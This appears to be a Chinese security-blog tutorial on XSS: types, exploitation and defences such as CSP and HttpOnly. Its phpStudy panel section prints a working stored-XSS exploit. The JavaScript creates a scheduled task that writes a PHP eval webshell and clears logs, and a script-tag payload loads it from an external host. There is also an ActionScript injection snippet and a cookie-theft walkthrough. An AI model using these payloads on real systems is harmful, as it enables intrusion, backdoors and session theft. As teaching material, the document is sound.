Web通用漏洞--XSS

XSS原理

XSS称为跨站脚本攻击,这种漏洞利用通常是被动性攻击,即需要受害者做出某些行为来配合攻击行为,才能达到攻击效果
XSS的原理是恶意攻击者往 Web 页面里插入恶意可执行网页脚本代码,当用户浏览该页之时,嵌入其中 Web 里面的脚本代码会被执行,从而可以达到攻击者盗取用户信息或其他侵犯用户安全隐私的目的。

常见XSS类型

反射型XSS

反射性XSS即将恶意代码插入浏览器中,但浏览器并不会对其进行存储,只对其进行一次性执行。
在这里插入图片描述

存储型XSS

存储型XSS是将恶意攻击代码通过Web页面的某些功能存储到数据库中,当Web页面需要执行某些功能时会再次将恶意代码从数据库中取出从而再次执行
在这里插入图片描述

DOM型XSS

通过修改原始的客户端代码,受害者浏览器的DOM环境改变,导致有效载荷的执行。
页面本身没有变化,但由于DOM环境被恶意修改,有客户端代码被包含进了页面并执行。
在这里插入图片描述

扩展XSS类型

参考文章跨站的艺术-XSS入门与介绍

MXSS

MXSS中文是突变型XSS突变型XSS,指的是原先的Payload提交是无害不会产生XSS,而由于一些特殊原因,如反编码等,导致Payload发生变异,导致的XSS。

UXSS

UXSS全称Universal Cross-Site Scripting,翻译过来就是通用型XSS,也叫Universal XSS。UXSS是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型。

SVG-XSS

SVG(Scalable Vector Graphics)是一种基于XML的二维矢量图格式,和我们平常用的jpg/png等图片格式所不同的是SVG图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任何的文本编辑器打开SVG图片并且编辑它,目前主流的浏览器都已经支持SVG图片的渲染。
在SVG文件中加入JS恶意代码配合文件上传进行上传即可进行XSS攻击
下面即一张SVG图片文件
Web通用漏洞–XSS-小白菜博客
打开文件进行编辑,插入JS代码
Web通用漏洞–XSS-小白菜博客
使用浏览器将其打开,JS代码运行
在这里插入图片描述

pdfXSS

在文件上传的地方一般只对脚本文件格式进行限制,那么我们可以在pdf文件中写入恶意JS代码,然后配合文件上传进行XSS攻击
pdf写入JS代码方法:
修改pdf文件中缩略图的属性,添加文档动作
打开缩略图
Web通用漏洞–XSS-小白菜博客
修改属性,添加动作
Web通用漏洞–XSS-小白菜博客
运行JS代码
Web通用漏洞–XSS-小白菜博客
添加JS代码
Web通用漏洞–XSS-小白菜博客
在浏览器中打开效果
在这里插入图片描述

swfXSS

swfXSS是通过flash动画中添加JS代码,进行XSS攻击,也可以通过寻找网页中swf文件,对其进行反编译进行代码审计,从而寻找可以进行利用的函数进行XSS攻击
制作swf文件:
1、新建swf文件
2、F9进入代码区域
3、属性发布设置解析

//取m参数
var m=_root.m;
//调用html中Javascript中的m参数值
flash.external.ExternalInterface.call(m);
触发:?m=alert(/xss/)

测试网页中包含swf文件安全
1、反编译swf文件
2、查找触发危险函数
3、找可控参数访问触发
常见的可触发xss的危险函数有:getURL,navigateToURL,ExternalInterface.call,htmlText,loadMovie等等

XSS攻击利用

cookie盗取

利用条件:平台采取cookie验证登录,且无防护措施
利用方式:利用XSS数据接受平台,在XSS注入点插入payload,当受害人访问注入点存在的页面时,浏览器便会加载JS代码,将cookie信息传送至接受平台
谷歌浏览器模拟攻击者,火狐浏览器模拟受害者

  1. 将XSS利用平台所构造的payload发送至XSS注入点
    Web通用漏洞–XSS-小白菜博客
    在这里插入图片描述

  2. 后台管理者查看该恶意评论信息
    在这里插入图片描述

  3. 当后台管理员查看评论信息时,浏览器自动加载注入的payload,将cookie发送至利用平台
    在这里插入图片描述

  4. 使用cookie进入后台

伪造数据提交(小皮面板远程RCE)

利用条件:熟悉数据提交时的数据包构造
利用方式:将构造好的数据包写成JS文件,利用XSS注入点将伪造的JS文件写入,当受害者查看该注入点所注入的数据时,JS文件自动加载。
经测试,小皮面板后台登陆入口存在存储型XSS漏洞,在小皮面板后台处存在定时任务,那么利用网上给出的POC利用定时计划任务创建后门文件。

function poc(){
  $.get('/service/app/tasks.php?type=task_list',{},function(data){
    var id=data.data[0].ID;
    $.post('/service/app/tasks.php?type=exec_task',{
      tid:id
    },function(res2){
        $.post('/service/app/log.php?type=clearlog',{
            
        },function(res3){},"json");
        
      
    },"json");
  },"json");
}
function save(){
  var data=new Object();
  data.task_id="";
  data.title="test";
  data.exec_cycle="1";
  data.week="1";
  data.day="3";
  data.hour="14";
  data.minute = "20";
  data.shell='echo "<?php @eval($_POST[123]);?>" >C:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';
  $.post('/service/app/tasks.php?type=save_shell',data,function(res){
    poc();
  },'json');
}
save();

payload

<script src="http://xx.xxx.xxx/poc.js"></script>

将构造好的JS文件放入服务器,将payload插入小皮面板登陆处,当小皮面板管理员查看日志文件时,JS文件执行,后门文件即可创建
Web通用漏洞–XSS-小白菜博客
当管理员查看日志时,浏览器加载poc.js
Web通用漏洞–XSS-小白菜博客
文件生成
在这里插入图片描述

网络钓鱼

利用条件:存在XSS漏洞
利用方式:

  1. 结合网页克隆构造可以访问钓鱼界面
  2. 对XSS注入点进行XSS注入
  3. 将钓鱼界面的后门及其正常文件进行打包免杀

浏览器控制框架(beef)

配合XSS向目标网页插入JS代码,即可控制访问者目标浏览器,配合各种手段进行攻击。

XSS的攻击利用手段还有很多方式

XSS攻击防护手段

CSP策略

CSP (Content Security Policy 内容安全策略),内容安全策略是一种可信白名单机制,来限制网站中是否可以包含某来源内容。
该制度明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单,它的实现和执行全部由浏览器完成,开发者只需提供配置。

  • 禁止加载外域代码,防止复杂的攻击逻辑。
  • 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
  • 禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
  • 禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
  • 合理使用上报可以及时发现XSS,利于尽快修复问题。
    CSP策略基本就是禁止加载一些外部资源,在实行XSS攻击时,多数情况下需要使用JS代码加载一些目标网站以外的资源,所以说CSP策略一旦开启,配置得完善一些,基本上不能绕过。

CSP策略简单开启方式

header("Content-Security-Policy:img-src 'self' ");

关于CSP策略的开启或介绍等具体可参考
对于XSS跨站脚本攻击的学习
CSP策略及简单绕过

HttpOnly

Httponly:禁止javascript读取,如果cookie中的一个参数带有httponly,则这个参数将不能被javascript获取;httponly可以防止xss会话劫持攻击
HttpOnly 最早是由微软提出,并在 IE 6 中实现的,至今已经逐渐成为一个标准,各大浏览器都支持此标准。具体含义就是,如果某个 Cookie 带有 HttpOnly 属性,那么这一条 Cookie 将被禁止读取,也就是说,JavaScript 读取不到此条 Cookie,不过在与服务端交互的时候,Http Request 包中仍然会带上这个 Cookie 信息,即我们的正常交互不受影响。
判断是否目标地址是否开启了httponly防护策略可以查看浏览器自身cookie信息一栏,httponly选项是否开启
Web通用漏洞–XSS-小白菜博客
关于php代码写的网站开启httponly属性可以有三种方式

session.cookie_httponly =1				//php.ini文件开启
ini_set("session.cookie_httponly", 1);		//代码引用php.ini 文件内容
setcookie('', '', time() + 3600, '/xss', '', false, true);		//设置cookie时设置httponly,最后一个字段为true为开始httponly

httponly更多详细细节可以参考
XSS漏洞防御之HttpOnly
Web安全系列(四):XSS 的防御

XSS Filter过滤

即通过代码验证对用户所输入的数据进行检查,如果存在非法数据则进行相应的对策,如过滤,替换,实体化等

关于对过滤器的常见绕过标签可以参考
XSS总结
XSS常见的触发标签

参考文章

跨站的艺术-XSS入门与介绍
对于XSS跨站脚本攻击的学习
CSP策略及简单绕过
XSS漏洞防御之HttpOnly
Web安全系列(四):XSS 的防御
XSS总结
XSS常见的触发标签

以上内容仅作参考学习,如有瑕疵或错误,希望各位师傅们斧正,感谢阅读。